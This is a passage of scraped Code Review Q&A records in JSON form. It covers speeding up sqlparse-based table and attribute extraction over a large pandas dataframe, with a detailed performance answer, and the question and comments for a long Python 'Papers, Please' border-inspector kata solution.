"body": "thanks for the valubable feedback, I like the way you explain and all the points you mentioned, will consider all points and implement it in the code, just disagreeing of using \"f\" over `''.format()` part, i find it more readable and more customisable , will stick to this part , rest i like they way you did `inline` checking of url status and overocome the headache of creating new dict everytime"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-25T07:21:24.243",
"Id": "224869",
"ParentId": "222906",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "224869",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T06:42:31.007",
"Id": "222906",
"Score": "4",
"Tags": [
"python",
"web-scraping"
],
"Title": "Webscraper code to download a manga series"
} | 222906 |
<p>I have a dataframe that have about 200 million rows. the example of dataframe is like this:</p>
<pre><code>date query
29-03-2019 SELECT * FROM table WHERE ..
30-03-2019 SELECT * FROM ... JOIN ... ON ...WHERE ..
.... ....
20-05-2019 SELECT ...
</code></pre>
<p>I have a function to get table(s) name, attribute(s) name from dataframe above and append to new dataframe.</p>
<pre><code>import sqlparse
from sqlparse.tokens import Keyword, DML
def getTableName(sql):
def getTableKey(parsed):
findFrom = False
wordKey = ['FROM','JOIN', 'LEFT JOIN', 'INNER JOIN', 'RIGHT JOIN', 'OUTER JOIN', 'FULL JOIN']
for word in parsed.tokens:
if word.is_group:
for f in getTableKey(word):
yield f
if findFrom:
if isSelect(word):
for f in getTableKey(word):
yield f
elif word.ttype is Keyword:
findFrom = False
StopIteration
else:
yield word
if word.ttype is Keyword and word.value.upper() in wordKey:
findFrom = True
tableName = []
query = (sqlparse.parse(sql))
for word in query:
if word.get_type() != 'UNKNOWN':
stream = getTableKey(word)
table = set(list(getWord(stream)))
for item in table:
tabl = re.sub(r'^.+?(?<=[.])','',item)
tableName.append(tabl)
return tableName
</code></pre>
<p>and the function to get <code>attribute</code> is just like <code>getTableName</code> the different is the <code>wordKey</code>. </p>
<p>function to process dataframe is like this:</p>
<pre><code>import pandas as pd
def getTableAttribute(dataFrame, queryCol, date):
tableName = []
attributeName = []
df = pd.DataFrame()
for row in dataFrame[queryCol]:
table = getTableName(row)
tableJoin = getJoinTable(row)
attribute = getAttribute(row)
#append into list
tableName.append(table+tableJoin)
attributeName.append(attribute)
df = dataFrame[[date]].copy()
df['tableName'] = tableName
df['attributeName'] = attributeName
print('Done')
return df
</code></pre>
<p>The result of the function is like this:</p>
<pre><code>date tableName attributeName
29-03-2019 tableN attributeM
30-03-2019 tableA attributeB
.... ... ...
20-05-2019 tableF attributeG
</code></pre>
<p>But as this is my first try, I need an opinion about what I've tried, because my code runs slow with large file.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:25:54.227",
"Id": "431697",
"Score": "0",
"body": "Are you sure memory optimization is what you're looking for? Reading your question sounds more like you want to optimize the runtime. Regardless, make sure to include all the necessary imports with your code. This allows reviewers to see which libraries you're using. Sidenote: dataframe sounds like pandas. There is a special tag [tag:pandas] for this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:35:58.413",
"Id": "431700",
"Score": "0",
"body": "@AlexV no, sorry I clicked wrong tag. yes you're right that I need optimize runtime. I updated the code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T18:03:38.560",
"Id": "431791",
"Score": "0",
"body": "Is `date` the index of `dataFrame`? or is it just a column?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T19:05:12.890",
"Id": "431793",
"Score": "0",
"body": "Also, is the function `getTableName` or `getTableNameFrom`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T02:14:28.127",
"Id": "431813",
"Score": "0",
"body": "@C.Nivs date is a column, and it's getTableName"
}
] | [
{
"body": "<h1>getTableKey</h1>\n\n<p>I'm not sure it's good style to define functions inside other functions unless you are implementing some sort of closure:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># this is much easier to read as a separate function\n# and you don't incur the cost of defining it every time\n# you call the encapsulating function\ndef getTableKey(parsed):\n findFrom = False\n wordKey = ['FROM','JOIN', 'LEFT JOIN', 'INNER JOIN', 'RIGHT JOIN', 'OUTER JOIN', 'FULL JOIN']\n for word in parsed.tokens:\n if word.is_group:\n for f in getTableKey(word):\n yield f\n if findFrom:\n if isSelect(word):\n for f in getTableKey(word):\n yield f\n elif word.ttype is Keyword:\n findFrom = False\n StopIteration\n else:\n yield word\n if word.ttype is Keyword and word.value.upper() in wordKey:\n findFrom = True\n\n\ndef getTableName():\n tableName = []\n query = (sqlparse.parse(sql))\n for word in query:\n if word.get_type() != 'UNKNOWN':\n stream = getTableKey(word)\n table = set(list(getWord(stream)))\n for item in table:\n tabl = re.sub(r'^.+?(?<=[.])','',item)\n tableName.append(tabl)\n return tableName\n</code></pre>\n\n<h2>yield from syntax</h2>\n\n<p>Furthermore, instead of using <code>for f in getTableKey(word): yield f</code>, later versions of python3 introduced the <code>yield from</code> syntax:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def getTableKey(parsed):\n findFrom = False\n wordKey = ['FROM','JOIN', 'LEFT JOIN', 'INNER JOIN', 'RIGHT JOIN', 'OUTER JOIN', 'FULL JOIN']\n for word in parsed.tokens:\n if word.is_group:\n yield from getTableKey(word)\n\n # combine this, since it's exactly this combination that will yield\n # f, there's no elif or else\n if findFrom and isSelect(word):\n yield from getTableKey(word)\n # rest of func\n</code></pre>\n\n<p>This leverages less function calls and is faster:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import dis\n\ndef f():\n for i in range(10000):\n yield i\n\ndef g()\n yield from range(10000)\n\ndis.dis(f)\n2 0 SETUP_LOOP 22 (to 24)\n 2 LOAD_GLOBAL 0 (range)\n 4 LOAD_CONST 1 (10000)\n 6 CALL_FUNCTION 1\n 8 GET_ITER\n >> 10 FOR_ITER 10 (to 22)\n 12 STORE_FAST 0 (i)\n\n 3 14 LOAD_FAST 0 (i)\n 16 YIELD_VALUE\n 18 POP_TOP\n 20 JUMP_ABSOLUTE 10\n >> 22 POP_BLOCK\n >> 24 LOAD_CONST 0 (None)\n 26 RETURN_VALUE\n\ndis.dis(g)\n2 0 LOAD_GLOBAL 0 (range)\n 2 LOAD_CONST 1 (10000)\n 4 CALL_FUNCTION 1\n 6 GET_YIELD_FROM_ITER\n 8 LOAD_CONST 0 (None)\n 10 YIELD_FROM\n 12 POP_TOP\n 14 LOAD_CONST 0 (None)\n 16 RETURN_VALUE\n\n</code></pre>\n\n<p>To show the speed gain:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>python -m timeit -s 'from somefile import f, g' 'list(f())'\n1000 loops, best of 3: 507 usec per loop\n\npython -m timeit -s 'from somefile import f, g' 'list(g())'\n1000 loops, best of 3: 396 usec per loop\n</code></pre>\n\n<h2>set vs list membership tests</h2>\n\n<p>Checking for membership in a <code>list</code> over and over is slow, worst case being O(N). To fix this, make <code>word_list</code> a <code>set</code>, which yields O(1) lookup:</p>\n\n<pre class=\"lang-bsh prettyprint-override\"><code>python -m timeit -s \"x = ['FROM','JOIN', 'LEFT JOIN', 'INNER JOIN', 'RIGHT JOIN', 'OUTER JOIN', 'FULL JOIN']\" \"'FULL JOIN' in x\"\n10000000 loops, best of 3: 0.0781 usec per loop\n\npython -m timeit -s \"x = set(['FROM','JOIN', 'LEFT JOIN', 'INNER JOIN', 'RIGHT JOIN', 'OUTER JOIN', 'FULL JOIN'])\" \"'FULL JOIN' in x\"\n10000000 loops, best of 3: 0.0246 usec per loop\n</code></pre>\n\n<p>So create the <code>set</code> like:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def getTableName(...):\n ~snip~\n wordKey = set(['FROM','JOIN', 'LEFT JOIN', 'INNER JOIN', 'RIGHT JOIN', 'OUTER JOIN', 'FULL JOIN'])\n</code></pre>\n\n<p>Though it might be even better to move this out of the <code>getTableKey</code> function entirely so you aren't paying for the re-construction of this <code>set</code> during every iteration:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># add a positional arg for it\ndef getTableKey(parsed, wordKey):\n # rest of func\n</code></pre>\n\n<p>And define it in <code>getTableAttribute</code> like:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>def getTableAttribute(dataFrame, queryCol, date):\n wordKey = set(['FROM','JOIN', 'LEFT JOIN', 'INNER JOIN', 'RIGHT JOIN', 'OUTER JOIN', 'FULL JOIN'])\n ~snip~\n for row in dataFrame:\n table_name = getTableName(row, wordKey)\n</code></pre>\n\n<h1>getTableName</h1>\n\n<p>There's no need to enclose <code>sqlparse.parse</code> in parens, as it will just default to whatever the enclosed value is:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>x = (5)\nx\n5\n</code></pre>\n\n<p>You are losing speed calling <code>set(list(iterable))</code>, since <code>set</code> will consume any iterable, and it looks like <code>getWord(stream)</code> is an iterable already:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code> table = set(getWord(stream))\n</code></pre>\n\n<h2>re.compile</h2>\n\n<p>If you are going to call a regex many times, it is better to compile it once, then call <code>compiled.sub</code> where <code>compiled</code> is the output of <code>re.compile(\"<expression>\")</code>:</p>\n\n<pre class=\"lang-bsh prettyprint-override\"><code> python -m timeit -s 'import re; x = \"abc123\"' 'for i in range(100000): re.match(\"\\w\\d\", x)'\n10 loops, best of 3: 67.5 msec per loop\n\npython -m timeit -s 'import re; x = \"abc123\"; y = re.compile(\"\\w\\d\")' 'for i in range(100000): y.match(x)'\n10 loops, best of 3: 28.1 msec per loop\n</code></pre>\n\n<p>To make this work, you might consider adding an arg in <code>getTableName</code> to allow for a compiled regex:</p>\n\n<pre class=\"lang-py prettyprint-override\"><code># somewhere in getTableAttribute.py file\nimport re\ndef getTableAttribute(dataFrame, queryCol, date):\n tableName = []\n attributeName = []\n table_re = re.compile(r'^.+?(?<=[.])')\n df = pd.DataFrame()\n for row in dataFrame[queryCol]:\n table = getTableName(row, table_re)\n # rest of code\n</code></pre>\n\n<pre><code>def getTableName(sql, re_expr):\n ...\n for item in table:\n tabl = re_expr.sub('', item)\n # rest of code\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-26T07:05:01.767",
"Id": "431826",
"Score": "0",
"body": "thank you for your review. that's really help"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T19:12:30.317",
"Id": "222943",
"ParentId": "222908",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222943",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T08:35:48.417",
"Id": "222908",
"Score": "1",
"Tags": [
"python",
"performance",
"python-3.x",
"pandas"
],
"Title": "Efficient way to get value from a dataframe and append new dataframe"
} | 222908 |
<p>This is possibly one of the longest katas I've finished so far. </p>
<p><a href="https://www.codewars.com/kata/59d582cafbdd0b7ef90000a0/train/python" rel="noreferrer">https://www.codewars.com/kata/59d582cafbdd0b7ef90000a0/train/python</a></p>
<p>I've been working on this one for about an hour a day for about 2 weeks, 90% of the time it's only been debugging. I'm trying to work on my code readability, but also optimizing the code as much as possible.</p>
<p>I'd like to know if YOU can understand something from the code I've written. Would love to hear opinions on how to improve the readability, optimizing some stuff that you notice. I know the code is long, so only check it out if you've got the time.</p>
<p>I had a lot of print statements during debugging, but I've deleted all of them. If you would like the version with all print statements, tell me.</p>
<p>I love constructive criticism, so don't hesitate.
Below , I am going to add the task of the project, just in case the link gets deleted or something:</p>
<blockquote>
<p><strong>Objective</strong></p>
<p>Your task is to create a constructor function (or class) and a set of
instance methods to perform the tasks of the border checkpoint
inspection officer. The methods you will need to create are as follow:</p>
<p><strong>Method: receiveBulletin</strong></p>
<p>Each morning you are issued an official bulletin from the Ministry of
Admission. This bulletin will provide updates to regulations and
procedures and the name of a wanted criminal.</p>
<p>The bulletin is provided in the form of a string. It may include one
or more of the following:</p>
<ul>
<li><p>Updates to the list of nations (comma-separated if more than one) whose citizens may enter (begins empty, before the first bulletin):</p>
<p><code>example 1: Allow citizens of Obristan</code><br/>
<code>example 2: Deny citizens of Kolechia, Republia</code></p></li>
<li><p>Updates to required documents</p>
<p><code>example 1: Foreigners require access permit</code><br/>
<code>example 2: Citizens of Arstotzka require ID card</code><br/>
<code>example 3: Workers require work pass</code></p></li>
<li><p>Updates to required vaccinations</p>
<p><code>example 1: Citizens of Antegria, Republia, Obristan require polio vaccination</code><br/>
<code>example 2: Entrants no longer require tetanus vaccination</code></p></li>
<li><p>Update to a currently wanted criminal</p>
<p><code>example 1: Wanted by the State: Hubert Popovic</code></p></li>
</ul>
<p><strong>Method: inspect</strong></p>
<p>Each day, a number of entrants line up outside the checkpoint
inspection booth to gain passage into Arstotzka. The inspect method
will receive an object representing each entrant's set of identifying
documents. This object will contain zero or more properties which
represent separate documents. Each property will be a string value.
These properties may include the following:</p>
<pre><code>passport
ID_card (only issued to citizens of Arstotzka)
access_permit
work_pass
grant_of_asylum
certificate_of_vaccination
diplomatic_authorization
</code></pre>
<p>The inspect method will return a result based on whether the entrant
passes or fails inspection:</p>
<p>Conditions for passing inspection</p>
<ul>
<li>All required documents are present</li>
<li>There is no conflicting information across the provided documents</li>
<li>All documents are current (ie. none have expired) -- a document is considered expired if the expiration date is November 22, 1982 or earlier</li>
<li>The entrant is not a wanted criminal</li>
<li>If a <code>certificate_of_vaccination</code> is required and provided, it must list the required vaccination</li>
<li>If entrant is a foreigner, a <code>grant_of_asylum</code> or <code>diplomatic_authorization</code> are acceptable in lieu of an <code>access_permit</code>.
In the case where a <code>diplomatic_authorization</code> is used, it must include
<code>Arstotzka</code> as one of the list of nations that can be accessed.</li>
</ul>
<p>If the entrant passes inspection, the method should return one of the
following string values:</p>
<ul>
<li>If the entrant is a citizen of Arstotzka: <code>Glory to Arstotzka.</code></li>
<li>If the entrant is a foreigner: <code>Cause no trouble.</code></li>
</ul>
<p>If the entrant fails the inspection due to expired or missing
documents, or their <code>certificate_of_vaccination</code> does not include the
necessary vaccinations, return <code>Entry denied:</code> with the reason for
denial appended.</p>
<p><code>Example 1: Entry denied: passport expired.</code><br/>
<code>Example 2: Entry denied: missing required vaccination.</code><br/>
<code>Example 3: Entry denied: missing required access permit.</code></p>
<p>If the entrant fails the inspection due to mismatching information
between documents (causing suspicion of forgery) or if they're a
wanted criminal, return <code>Detainment:</code> with the reason for detainment
appended.</p>
<ul>
<li>If due to information mismatch, include the mismatched item. e.g. <code>Detainment: ID number mismatch.</code></li>
<li>If the entrant is a wanted criminal: <code>Detainment: Entrant is a wanted criminal.</code></li>
<li>NOTE: One wanted criminal will be specified in each daily bulletin, and must be detained when received for that day only. For example, if an entrant on Day 20 has the same name as a criminal declared on Day 10, they are not to be detained for being a criminal.</li>
<li>Also, if any of an entrant's identifying documents include the name of that day's wanted criminal (in case of mismatched names across multiple documents), they are assumed to be the wanted criminal.</li>
</ul>
<p>In some cases, there may be multiple reasons for denying or detaining
an entrant. For this exercise, you will only need to provide one
reason.</p>
<ul>
<li>If the entrant meets the criteria for both entry denial and detainment, priority goes to detaining.</li>
<li>For example, if they are missing a required document and are also a wanted criminal, then they should be detained instead of turned away.</li>
<li>In the case where the entrant has mismatching information and is a wanted criminal, detain for being a wanted criminal.</li>
</ul>
<p>Test Example</p>
<pre><code>bulletin = """Entrants require passport
Allow citizens of Arstotzka, Obristan"""
inspector = Inspector()
inspector.receive_bulletin(bulletin)
entrant1 = {
"passport": """ID#: GC07D-FU8AR
NATION: Arstotzka
NAME: Guyovich, Russian
DOB: 1933.11.28
SEX: M
ISS: East Grestin
EXP: 1983.07.10"""
}
inspector.inspect(entrant1) #=> 'Glory to Arstotzka.'
</code></pre>
<p>Additional Notes</p>
<ul>
<li>Inputs will always be valid.</li>
<li>There are a total of 7 countries: Arstotzka, Antegria, Impor, Kolechia, Obristan, Republia, and United Federation.</li>
<li>Not every single possible case has been listed in this Description; use the test feedback to help you handle all cases.</li>
<li>The concept of this kata is derived from the video game of the same name, but it is not meant to be a direct representation of the game.</li>
</ul>
</blockquote>
<p><strong>And here is my solution:</strong></p>
<pre><code>class Inspector:
def __init__(self):
self.documents_dict = {
"passport": [],
"ID_card": [],
"access_permit": [],
"work_pass": [],
"grant_of_asylum": [],
"certificate_of_vaccination": [],
"diplomatic_authorization": []
}
self.documents_names =["passport",
"ID card",
"access permit",
"work pass",
"grant of asylum",
"certificate of vaccination",
"diplommatic authorization"]
self.vaccinations_dict = {}
self.actual_bulletin = {
"allowed_nations": [],
"denied_nations": [],
"required_documents": self.documents_dict,
"required_vaccinations": self.vaccinations_dict,
"new_criminal": ""
}
def receive_bulletin(self, bulletin):
nations_List = ["Arstotzka",
"Antegria",
"Impor",
"Kolechia",
"Obristan",
"Republia",
"United Federation"]
bulletin_lines_List = bulletin.split("\n")
def update_allowed_and_denied_nations():
def return_commaless_line(line):
if "," in line:
line = line.split(" ")
for i in range(len(line)):
line[i] = line[i].replace(",", "")
return " ".join(line)
for nation in nations_List:
if nation in line:
return line
def return_line_containing_nations(list):
for line in list:
for nation in nations_List:
if (nation in line and "Allow citizens of " in line) or (nation in line and "Deny citizens of " in line):
return line
def are_multi_lines_w_nations_Boolean(list):
lines_with_nations = 0
for line in list:
for nation in nations_List:
if nation in line:
lines_with_nations +=1
break
continue
if lines_with_nations > 1:
return True
else:
return False
def return_lines_w_nations_List(list):
lines = []
for line in list:
for nation in nations_List:
if (nation in line and "Allow citizens of " in line) or (nation in line and "Deny citizens of " in line):
lines.append(line)
break
return lines
def return_allowed_nations_from_line_List(line):
allowed_nations = [word for word in line.split(" ") if word in nations_List]
if "United Federation" in line and "Allow citizens of " in line:
allowed_nations.append("United Federation")
return allowed_nations
def return_denied_nations_from_line_List(line):
denied_nations = [word for word in line.split(" ") if word in nations_List and "Deny citizens of " in line]
if "United Federation" in line and "Deny citizens of " in line:
denied_nations.append("United Federation")
return denied_nations
def update_actual_bulletin():
for n in new_allowed_nations_List:
if n not in self.actual_bulletin["allowed_nations"]:
self.actual_bulletin["allowed_nations"].append(n)
for n in new_denied_nations_List:
if n in self.actual_bulletin["allowed_nations"]:
self.actual_bulletin["allowed_nations"].remove(n)
new_allowed_nations_List = []
new_denied_nations_List = []
if are_multi_lines_w_nations_Boolean(bulletin_lines_List):
multi_lines_w_nations_List = return_lines_w_nations_List(bulletin_lines_List)
for i in range(len(multi_lines_w_nations_List)):
multi_lines_w_nations_List[i] = return_commaless_line(multi_lines_w_nations_List[i])
single_nations_line_list = [multi_lines_w_nations_List[i] for i in range(len(multi_lines_w_nations_List))]
for line in single_nations_line_list:
if "Allow citizens of " in line:
new_allowed_nations_List.extend(return_allowed_nations_from_line_List(line))
elif "Deny citizens of " in line:
new_denied_nations_List.extend(return_denied_nations_from_line_List(line))
update_actual_bulletin()
else:
if return_lines_w_nations_List(bulletin_lines_List) != []:
single_nations_line = return_commaless_line(return_line_containing_nations(bulletin_lines_List))
if "Allow citizens of " in single_nations_line:
new_allowed_nations_List.extend(return_allowed_nations_from_line_List(single_nations_line))
elif "Deny citizens of " in single_nations_line:
new_denied_nations_List.extend(return_denied_nations_from_line_List(single_nations_line))
update_actual_bulletin()
def update_required_documents():
documents_List = \
["passport",
"ID card",
"access permit",
"work pass",
"grant of asylum",
"certificate of vaccination",
"diplomatic authorization" ]
underlined_documents_List = \
["passport",
"ID_card",
"access_permit",
"work_pass",
"grant_of_asylum",
"certificate_of_vaccination",
"diplomatic_authorization" ]
def update_documents_Dict():
for line in bulletin_lines_List:
if "Workers require work pass" in line:
self.documents_dict["work_pass"].append("Yes")
if "Entrants require " in line:
for document in documents_List:
if "Entrants require " + document in line:
self.documents_dict[underlined_documents_List[documents_List.index(document)]] = nations_List
continue
if "Foreigners require " in line:
for document in documents_List:
if "Foreigners require " + document in line:
self.documents_dict[underlined_documents_List[documents_List.index(document)]] = ["Antegria",
"Impor",
"Kolechia",
"Obristan",
"Republia",
"United Federation"]
if "Citizens of " in line:
if "vaccination" not in line:
for nation in nations_List:
for document in documents_List:
if "Citizens of " + nation + " require " + document in line:
self.documents_dict[underlined_documents_List[documents_List.index(document)]].append(nation)
update_documents_Dict()
def update_required_vaccinations():
vaccine_Dict = {}
for i, line in enumerate(bulletin_lines_List):
if "vaccination" in line:
line_List = line.split(" ")
def return_commaless_line(list):
return [s.replace (",","") for s in list]
line_List = return_commaless_line(line_List)
if "United" in line_List: # Because "United Federation" has a space between
line_List.remove("United")
line_List.remove("Federation")
line_List.append("United Federation")
vaccine_name_List = [w for w in line_List if line_List.index(w) > line_List.index("require") and line_List.index(w) < line_List.index("vaccination")]
vaccine_name = " ".join(vaccine_name_List)
vaccine_Dict[i] = vaccine_name
def bulletin_add_remove_vaccinations():
if "Entrants" in line_List: # Entrants meaning all nations_List
if "no" in line_List:
self.vaccinations_dict.pop(vaccine_Dict[i]) # Remove all nations_List
else:
self.vaccinations_dict[vaccine_Dict[i]] = nations_List # Add all nations_List
elif "Foreigners" in line_List: # Foreigners meaning all nations_List except Arstotzka
if "no" in line_List:
self.vaccinations_dict[vaccine_Dict[i]] = [x for x in self.vaccinations_dict[vaccine_Dict[i]] # Remove all nations_List except Arstotzka
if x not in ["Antegria", "Impor", "Kolechia", "Obristan", "Republia", "United Federation"]]
else:
self.vaccinations_dict[vaccine_Dict[i]] = ["Antegria", "Impor", "Kolechia", # Add all nations_List except Arstotzka
"Obristan", "Republia",
"United Federation"]
elif "Citizens of " in line_List: # Followed by specific nations_List
if "no" in line_List:
self.vaccinations_dict[vaccine_Dict[i]] = [nation for nation in self.vaccinations_dict[vaccine_Dict[i]] if nation not in line_List]
else:
self.vaccinations_dict[vaccine_Dict[i]] = [nation for nation in nations_List if nation in line_List]
bulletin_add_remove_vaccinations()
def update_new_criminal():
for line in bulletin_lines_List:
if "Wanted by the State:" in line:
line_List = line.split(" ")
wanted = line_List[line_List.index("State:") + 1] + " " + line_List[line_List.index("State:") + 2]
self.actual_bulletin["new_criminal"] = wanted
update_allowed_and_denied_nations()
update_required_documents()
update_required_vaccinations()
update_new_criminal()
def inspect(self, entrant):
nations_List = ["Arstotzka", "Antegria", "Impor", "Kolechia", "Obristan", "Republia", "United Federation"]
documents_List = \
["passport",
"ID card",
"access permit",
"work pass",
"grant of asylum",
"certificate of vaccination",
"diplomatic authorization"]
underlined_documents_List = \
["passport",
"ID_card",
"access_permit",
"work_pass",
"grant_of_asylum",
"certificate_of_vaccination",
"diplomatic_authorization"]
def returns_nation():
for document in entrant.values():
for nation in nations_List:
if nation in document:
return nation
def check_nation():
if returns_nation() == "Arstotzka":
return
if returns_nation() not in self.actual_bulletin["allowed_nations"]:
return "Entry denied: citizen of banned nation."
def check_missing_documents():
if entrant == {}: # Missing all documents
return "Entry denied: missing required passport."
documents_req_for_nation_List = [doc for doc in self.documents_dict if returns_nation() in self.documents_dict[doc]]
vaccine_certificates_req_for_nation_List = [vac_doc for vac_doc in self.vaccinations_dict if returns_nation() in self.vaccinations_dict[vac_doc]]
if documents_req_for_nation_List == []:
for doc in self.documents_dict.keys():
if self.documents_dict[doc] == nations_List:
documents_req_for_nation_List.append(doc)
for document in documents_req_for_nation_List:
if document not in entrant.keys():
if document == "access_permit":
if ("grant_of_asylum" in entrant.keys()):
return
if ("diplomatic_authorization" in entrant.keys()):
if "Arstotzka" in entrant.get("diplomatic_authorization"):
return
else:
return "Entry denied: invalid diplomatic authorization."
return "Entry denied: missing required " + documents_List[underlined_documents_List.index(document)] + "."
if len(vaccine_certificates_req_for_nation_List) > 0:
if "certificate_of_vaccination" not in entrant.keys():
return "Entry denied: missing required certificate of vaccination."
if self.documents_dict["work_pass"] != []:
for i in range(len(entrant.values())):
if "WORK" in list(entrant.values())[i]:
if "work_pass" not in entrant.keys():
return "Entry denied: missing required work pass."
def check_mismatching_information():
def check_mismatching_ID():
document_and_ID_Dict = {}
documents_and_keys_List = [key for key in entrant.keys()]
for i, value in enumerate(entrant.values()):
for line in value.split("\n"):
if "ID#:" in line:
ID = line.split(" ")
for x in ID:
if "ID#:" in x:
ID.pop(ID.index(x))
document_and_ID_Dict[documents_and_keys_List[i]] = ID
expected_value = next(iter(document_and_ID_Dict.values()))
all_IDs_equal = all(value == expected_value for value in document_and_ID_Dict.values())
if not all_IDs_equal:
return "Detainment: ID number mismatch."
if "Detainment:" in str(check_mismatching_ID()):
return check_mismatching_ID()
def check_mismatching_name():
document_and_name_Dict = {}
documents_and_keys_List = [key for key in entrant.keys()]
for i, value in enumerate(entrant.values()):
for line in value.split("\n"):
if "NAME:" in line:
name_line = line.split(" ")
for x in name_line:
if "NAME:" in x:
name_line.pop(name_line.index(x))
document_and_name_Dict[documents_and_keys_List[i]] = name_line
expected_value = next(iter(document_and_name_Dict.values()))
all_names_equal = all(value == expected_value for value in document_and_name_Dict.values())
if not all_names_equal:
return "Detainment: name mismatch."
if "Detainment:" in str(check_mismatching_name()):
return check_mismatching_name()
def check_mismatching_nation():
document_and_nation_Dict = {}
documents_and_keys_List = [key for key in entrant.keys()]
for i, value in enumerate(entrant.values()):
for line in value.split("\n"):
if "NATION:" in line:
nation_line = line.split(" ")
for x in nation_line:
if "NATION:" in x:
nation_line.pop(nation_line.index(x))
document_and_nation_Dict[documents_and_keys_List[i]] = nation_line
try:
expected_value = next(iter(document_and_nation_Dict.values()))
all_nations_equal = all(value == expected_value for value in document_and_nation_Dict.values())
if not all_nations_equal:
return "Detainment: nationality mismatch."
except StopIteration:
pass
if "Detainment:" in str(check_mismatching_nation()):
return check_mismatching_nation()
def check_mismatching_DOB(): # DOB - Date of Birth
document_and_dob_Dict = {}
for i, value in enumerate(entrant.values()):
for line in value.split("\n"):
if "DOB:" in line:
DOB_line = line.split(" ")
for x in DOB_line:
if "DOB:" in x:
DOB_line.pop(DOB_line.index(x))
document_and_dob_Dict[list(entrant.keys())[i]] = DOB_line
try:
expected_value = next(iter(document_and_dob_Dict.values()))
except Exception:
pass
all_dobs_equal = all(value == expected_value for value in document_and_dob_Dict.values())
if not all_dobs_equal:
return "Detainment: date of birth mismatch."
if "Detainment:" in str(check_mismatching_DOB()):
return check_mismatching_DOB()
def check_missing_vaccination():
nation = returns_nation()
vaccines_req_for_nation_Dict = [vac for vac in self.vaccinations_dict if nation in self.vaccinations_dict[vac]]
for vac in vaccines_req_for_nation_Dict:
for i in range(len(list(entrant.values()))):
if vac not in list(entrant.values())[i]:
continue
else:
return
return "Entry denied: missing required vaccination."
def check_documents_expiration_date():
document_and_exp_date_Dict = {}
document_and_key_List = [key for key in entrant.keys()]
for i, value in enumerate(entrant.values()):
for line in value.split("\n"):
if "EXP:" in line:
date = line.split(" ")
for x in date:
if "EXP:" in x:
date.pop(date.index(x))
date_list = date[0].split(".")
document_and_exp_date_Dict[document_and_key_List[i]] = date_list
for i in range(len(document_and_key_List)):
if (document_and_key_List[i] != "diplomatic_authorization" and document_and_key_List[i] != "ID_card") and document_and_key_List[i] != "certificate_of_vaccination":
if document_and_exp_date_Dict[document_and_key_List[i]][0] < "1982":
return "Entry denied: " + documents_List[underlined_documents_List.index(document_and_key_List[i])]+ " expired."
elif document_and_exp_date_Dict[document_and_key_List[i]][0] == "1982":
if document_and_exp_date_Dict[document_and_key_List[i]][1] < "11":
return "Entry denied: " + documents_List[underlined_documents_List.index(document_and_key_List[i])]+ " expired."
elif document_and_exp_date_Dict[document_and_key_List[i]][1] == "11":
if document_and_exp_date_Dict[document_and_key_List[i]][2] <= "22":
return "Entry denied: " + documents_List[underlined_documents_List.index(document_and_key_List[i])]+ " expired."
def return_criminal_name():
for value in entrant.values():
for line in value.split("\n"):
if "NAME:" in line:
name = line.split(" ")
name.pop(0)
for n in range(len(name)):
if "," in name[n]:
name[n] = name[n].replace(",", "")
return name[1] + " " + name[0]
if len(entrant.keys()) > 1:
if "Detainment:" in str(check_mismatching_information()):
return check_mismatching_information()
if return_criminal_name() == self.actual_bulletin["new_criminal"]:
return "Detainment: Entrant is a wanted criminal."
if "Entry denied: " in str(check_missing_documents()):
return check_missing_documents()
if "Entry denied: " in str(check_documents_expiration_date()):
return check_documents_expiration_date()
if "Entry denied: " in str(check_missing_vaccination()):
return check_missing_vaccination()
if "Entry denied: " in str(check_nation()):
return "Entry denied: citizen of banned nation."
if returns_nation() == "Arstotzka":
return "Glory to Arstotzka."
else:
return "Cause no trouble."
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:12:51.590",
"Id": "431693",
"Score": "1",
"body": "Welcome to Code Review! Great first question. You could improve the question even further if you included an abbreviated description of the task. This is to make sure your question stays valid in case the URL changes or CodeWars takes it offline. Regarding your other concerns: We can handle long™."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:15:18.633",
"Id": "431694",
"Score": "0",
"body": "Thank you very much for the quick answer! I've checked your edit, and I don't know if i'm wrong , but while looking side by side there are many parts that are cut with red but on the right , green side, it is the same? Is the indentation changed there? Or? And regarding the task, sure, i will add the task above the code. Have a nice day!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:25:41.063",
"Id": "431696",
"Score": "0",
"body": "I knew about that problem, it was because of the way i posted the code. \"Class Inspector \" went out of the \"Code Box\" so i indented it even though it was wrong in the code just so it was in the box, cause i didn't know how to indent all the rest of the code (tab wasn't working). But thanks anyway :p"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-25T09:26:05.837",
"Id": "431698",
"Score": "0",
"body": "Oh true, i could have pre-indented it. My bad ."
}
] | [
{
